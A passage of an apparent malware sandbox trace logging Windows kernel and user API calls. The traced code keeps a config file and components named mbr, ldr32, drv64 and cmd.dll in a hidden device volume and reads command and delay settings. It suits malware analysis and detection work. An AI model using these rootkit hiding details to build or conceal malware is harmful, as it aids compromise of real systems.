ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.851] KeLeaveCriticalRegion () [0128.851] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.851] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.851] KeEnterCriticalRegion () [0128.851] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.851] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b57000 [0128.851] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.851] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.851] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.851] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.851] IdePortDispatch () returned 0x103 [0128.853] KeWaitForMutexObject () returned 0x0 [0128.853] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.853] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.853] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.853] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.853] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.853] IdePortDispatch () returned 0x103 [0128.853] KeWaitForMutexObject () returned 0x0 [0128.853] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.853] KeLeaveCriticalRegion () [0128.853] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.854] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.854] KeEnterCriticalRegion () [0128.854] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.854] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.854] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.854] KeLeaveCriticalRegion () [0128.854] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.854] KeEnterCriticalRegion () [0128.854] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.854] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.854] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bff9d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.854] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.854] KeLeaveCriticalRegion () [0128.854] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.854] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.854] KeEnterCriticalRegion () [0128.854] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.854] ExFreePoolWithTag (P=0xfffffa8003c012d0, Tag=0x0) [0128.854] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.854] KeLeaveCriticalRegion () [0128.854] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.854] ReleaseMutex (hMutex=0xf0) returned 1 [0128.854] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0128.854] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0128.854] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0128.854] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.854] KeEnterCriticalRegion () [0128.854] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.854] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.854] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.854] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.854] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.854] IdePortDispatch () returned 0x103 [0128.855] KeWaitForMutexObject () returned 0x0 [0128.855] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.855] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.855] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.855] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.855] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.855] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.855] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.855] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.855] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.855] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.855] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.855] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.855] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.855] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.855] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.855] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.855] KeLeaveCriticalRegion () [0128.855] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.855] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0128.855] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.855] KeEnterCriticalRegion () [0128.855] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.855] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.855] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.855] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.855] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.855] IdePortDispatch () returned 0x103 [0128.856] KeWaitForMutexObject () returned 0x0 [0128.856] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.856] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.856] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.856] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.856] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.856] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.856] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.856] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.856] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.856] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.856] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.856] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.856] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.856] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.856] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.856] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.856] KeLeaveCriticalRegion () [0128.856] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.856] ReleaseMutex (hMutex=0x100) returned 1 [0128.856] Sleep (dwMilliseconds=0x2bf20) [0128.863] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ffff550, dwHighDateTime=0x1d24fa4)) [0128.863] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0128.863] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.863] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.863] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.863] KeEnterCriticalRegion () [0128.863] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.863] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.863] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.863] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.863] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.863] IdePortDispatch () returned 0x103 [0128.863] KeWaitForMutexObject () returned 0x0 [0128.864] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.864] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.864] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.864] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.864] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.864] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c01720 [0128.864] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.864] KeLeaveCriticalRegion () [0128.864] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.864] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.864] KeEnterCriticalRegion () [0128.864] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.864] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.864] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.864] KeLeaveCriticalRegion () [0128.864] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.864] KeEnterCriticalRegion () [0128.864] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.864] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.864] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.864] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.864] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.864] IdePortDispatch () returned 0x103 [0128.864] KeWaitForMutexObject () returned 0x0 [0128.864] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.864] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.864] KeLeaveCriticalRegion () [0128.865] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.865] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.865] KeEnterCriticalRegion () [0128.865] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.865] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b5a000 [0128.865] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.865] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.865] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.865] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.865] IdePortDispatch () returned 0x103 [0128.865] KeWaitForMutexObject () returned 0x0 [0128.865] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.865] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.865] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.865] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.865] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.865] IdePortDispatch () returned 0x103 [0128.865] KeWaitForMutexObject () returned 0x0 [0128.865] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.865] KeLeaveCriticalRegion () [0128.865] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.866] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.866] KeEnterCriticalRegion () [0128.866] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.866] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.866] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.866] KeLeaveCriticalRegion () [0128.866] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.866] KeEnterCriticalRegion () [0128.866] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.866] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.866] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bff9d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.866] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.866] KeLeaveCriticalRegion () [0128.866] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.866] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.866] KeEnterCriticalRegion () [0128.866] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.866] ExFreePoolWithTag (P=0xfffffa8003c01720, Tag=0x0) [0128.866] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.866] KeLeaveCriticalRegion () [0128.866] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.866] ReleaseMutex (hMutex=0xf0) returned 1 [0128.866] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.866] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.866] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.867] KeEnterCriticalRegion () [0128.867] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.867] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.867] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.867] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.867] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.867] IdePortDispatch () returned 0x103 [0128.867] KeWaitForMutexObject () returned 0x0 [0128.867] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.867] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.867] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.867] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.867] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.867] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c003a0 [0128.867] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.867] KeLeaveCriticalRegion () [0128.867] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.867] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.867] KeEnterCriticalRegion () [0128.867] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.867] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.867] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.867] KeLeaveCriticalRegion () [0128.867] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.867] KeEnterCriticalRegion () [0128.867] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.867] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.867] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.867] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.867] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.867] IdePortDispatch () returned 0x103 [0128.868] KeWaitForMutexObject () returned 0x0 [0128.868] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.868] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.868] KeLeaveCriticalRegion () [0128.868] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.868] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.868] KeEnterCriticalRegion () [0128.868] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.868] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b5b000 [0128.868] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.868] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.868] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.868] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.868] IdePortDispatch () returned 0x103 [0128.868] KeWaitForMutexObject () returned 0x0 [0128.868] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.868] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.868] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.868] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.868] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.868] IdePortDispatch () returned 0x103 [0128.869] KeWaitForMutexObject () returned 0x0 [0128.869] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.869] KeLeaveCriticalRegion () [0128.869] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.869] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.869] KeEnterCriticalRegion () [0128.869] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.869] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.869] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.869] KeLeaveCriticalRegion () [0128.869] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.869] KeEnterCriticalRegion () [0128.869] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.869] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.869] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c01190, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.869] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.869] KeLeaveCriticalRegion () [0128.869] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.869] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.869] KeEnterCriticalRegion () [0128.869] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.869] ExFreePoolWithTag (P=0xfffffa8003c003a0, Tag=0x0) [0128.869] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.870] KeLeaveCriticalRegion () [0128.870] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.870] ReleaseMutex (hMutex=0xf0) returned 1 [0128.870] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.870] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0128.870] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.870] KeEnterCriticalRegion () [0128.870] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 